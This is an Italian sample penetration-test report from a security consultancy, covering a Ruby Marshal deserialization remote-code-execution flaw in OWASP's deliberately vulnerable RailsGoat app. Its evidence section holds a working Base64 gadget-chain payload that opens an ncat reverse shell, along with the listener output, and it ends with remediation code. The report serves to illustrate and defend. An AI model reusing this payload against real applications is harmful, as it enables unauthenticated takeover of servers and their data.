Report di esempio

Com’è fatto il report che ricevi.

Un estratto di report costruito sulla valutazione di OWASP RailsGoat, un’applicazione intenzionalmente vulnerabile. Mostra la struttura, la scala di severità e un finding di Remote Code Execution per intero: lo stesso formato che ricevi dopo un incarico reale, senza usare dati di clienti.

Cosa contiene

Come è organizzato il report.

Ogni finding dà ai tuoi sviluppatori i passi per riprodurlo e la modifica che lo corregge.

Executive summary

Una pagina per il management con la postura complessiva e cosa sistemare prima del rilascio.

Finding con evidenze

Il componente colpito, cosa serve all’attaccante, i passi di riproduzione numerati e gli estratti di richieste e risposte.

Impatto e severità

Quali dati o azioni sono esposti e a quali ruoli, con una severità basata su quanto osservato davvero.

Rimedio e retest

Come correggere il problema e dove lo stesso pattern potrebbe ripresentarsi. Quando il fix è rilasciato si aggiunge l’esito del retest.

Ambiente dimostrativo

RailsGoat è un’applicazione open source intenzionalmente vulnerabile realizzata da OWASP per la formazione. Il finding qui sotto deriva dalla sua vulnerabilità di Remote Code Execution documentata pubblicamente; non è mostrato nessun cliente o sistema reale.

Executive summary

Cosa legge per primo il management.

Il report si apre con una pagina per la direzione, con la postura complessiva e i rischi principali prima di ogni dettaglio tecnico.

Pagina di esempio

Esempio

1 Executive summary

Postura di sicurezza complessivaEsposizione critica

Questa etichetta sintetizza la postura complessiva dell’ambiente valutato, considerando severità, sfruttabilità e impatto dei rischi osservati.

La postura complessiva di sicurezza di RailsGoat è un’esposizione critica. La valutazione ha rilevato una debolezza nel recupero password che può consentire l’esecuzione di codice da remoto e una compromissione completa del servizio, dei dati e dei segreti accessibili all’applicazione. Il problema deve essere risolto prima di qualsiasi rilascio in produzione.

Le altre aree vulnerabili aumentano il rischio di compromissione degli account e l’impatto di un accesso operativo. La prima priorità è il recupero password, seguita da un retest che confermi il fix.

Rischio principale

  • Perdita di controllo dell’applicazione. L’attacco può interrompere il servizio, esporre dati e segreti e aumentare l’impatto di qualsiasi altra debolezza presente nell’ambiente.

1.1 Azioni prioritarie

01Tenere RailsGoat isolato. Ruotare le credenziali a cui l’applicazione potrebbe accedere.
02Sostituire il flusso di reset. Usare un token generato dal server che l’utente non può manipolare, e verificarlo prima del rilascio.
03Prenotare un retest. Far verificare il fix da un tester indipendente.

Ambito dell’estratto: la funzione di recupero password di OWASP RailsGoat.

A colpo d’occhio

Le vulnerabilità RailsGoat, per categoria.

Panoramica teorica delle 13 vulnerabilità RailsGoat, raggruppate per categoria tecnica e criticità stimata.

Pagina di esempio

Esempio

2 Panoramica delle vulnerabilità

L’inventario tecnico comprende 13 vulnerabilità, con una stima teorica della severità:

  • 1Critico
  • 4Alto
  • 6Medio
  • 2Basso
  • 0Info
  • Injection3
  • Authentication2
  • Access control2
  • Sensitive data2
  • CSRF1
  • Mass assignment1
  • Unvalidated redirect1
  • Remote Code Execution1
Figura 1: vulnerabilità RailsGoat per categoria

Un finding, per intero

Così si legge un finding.

Il finding RailsGoat completo, dalla causa e dalle evidenze fino al fix.

Pagina di esempio

Esempio
RG-WEB-01

Remote Code Execution tramite deserializzazione Ruby non sicura

9.8Critico
Complessità remediationMedia
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 · Deserialization of Untrusted Data
OWASPA08:2021 – Software and Data Integrity Failures
Componenti interessati
  • POST /password_resets
  • GET /password_resets/new

Panoramica

Il flusso di reset della password accetta dal client il parametro user, lo decodifica da Base64 e lo passa direttamente a Marshal.load. Poiché Ruby Marshal può ricostruire grafi di oggetti arbitrari, un attaccante remoto può fornire un oggetto appositamente costruito e provocare l’esecuzione di comandi con i privilegi del processo Rails.

Prerequisiti dell’attacco

Endpoint raggiungibile via rete; nessuna autenticazione richiesta. L’attaccante deve solo ottenere una richiesta valida del flusso di reset e sostituire il campo serializzato prima dell’invio.

Dettagli

Percorso di attacco verificato nell’ambiente RailsGoat isolato:

Codice interessato app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12

  1. Il form di reset serializza l’oggetto utente con Marshal.dump, lo codifica in Base64 e lo inserisce nel campo nascosto user, trasferendo al browser un oggetto che il server considera attendibile.
  2. La richiesta POST /password_resets consente di sostituire il valore del campo user con un payload Marshal controllato dall’attaccante.
  3. Il controller esegue Marshal.load(Base64.decode64(params[:user])) senza validazione dell’integrità o restrizioni sui tipi deserializzabili.
  4. Una gadget chain basata su ERB e ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ha eseguito un comando di prova non distruttivo sul server, confermando il controllo del processo applicativo.
Evidenza HTTP
Request
POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=x
Response
HTTP/1.1 302 Found
Location: /login

$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspican
Esempio

RG-WEB-01 Valutazione tecnica

Un attaccante non autenticato può eseguire comandi nel contesto dell’applicazione Rails. Questo consente potenzialmente di leggere o modificare dati e segreti applicativi, alterare il servizio, muoversi verso risorse raggiungibili dal processo e interrompere l’applicazione. L’effettiva estensione oltre il container o l’host dipende dai privilegi e dalla segmentazione dell’ambiente di deploy.

Impatto sul business

La compromissione del processo applicativo può interrompere il servizio, esporre dati degli utenti e richiedere rotazione delle credenziali, analisi forense e comunicazioni agli stakeholder. Per un asset esposto, il rischio operativo è incompatibile con il rilascio.

Valutazione

L’attacco è raggiungibile via rete, non richiede autenticazione né interazione della vittima e, una volta costruito il payload, ha bassa complessità operativa. L’esecuzione di codice compromette completamente riservatezza, integrità e disponibilità nel contesto del processo Rails. La valutazione considera i privilegi del processo applicativo, non privilegi aggiuntivi sull’host.

Raccomandazione

Rimuovere la deserializzazione dal percorso di reset e sostituirla con un token opaco generato dal server. Il controller deve creare un token casuale, conservarne solo l’hash insieme a identità e scadenza, quindi inviare al browser esclusivamente il valore opaco. Alla conferma, cercare il token sul server, verificare scadenza e integrità, consumarlo in modo atomico e rifiutare ogni valore mancante o riutilizzato. Aggiornare il form per non serializzare più l’oggetto utente. Aggiungere test di regressione per payload Marshal arbitrari, token scaduti, token riutilizzati e mismatch tra token e utente.

# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)

# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object

# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeeds

Risultato retest

Non testato

La vulnerabilità è stata riprodotta nell’ambiente di valutazione RailsGoat. Il retest non è stato eseguito.

Richiedi un report così per il tuo prodotto.

Dimmi quali asset e ambienti includere e quando ti servono i risultati.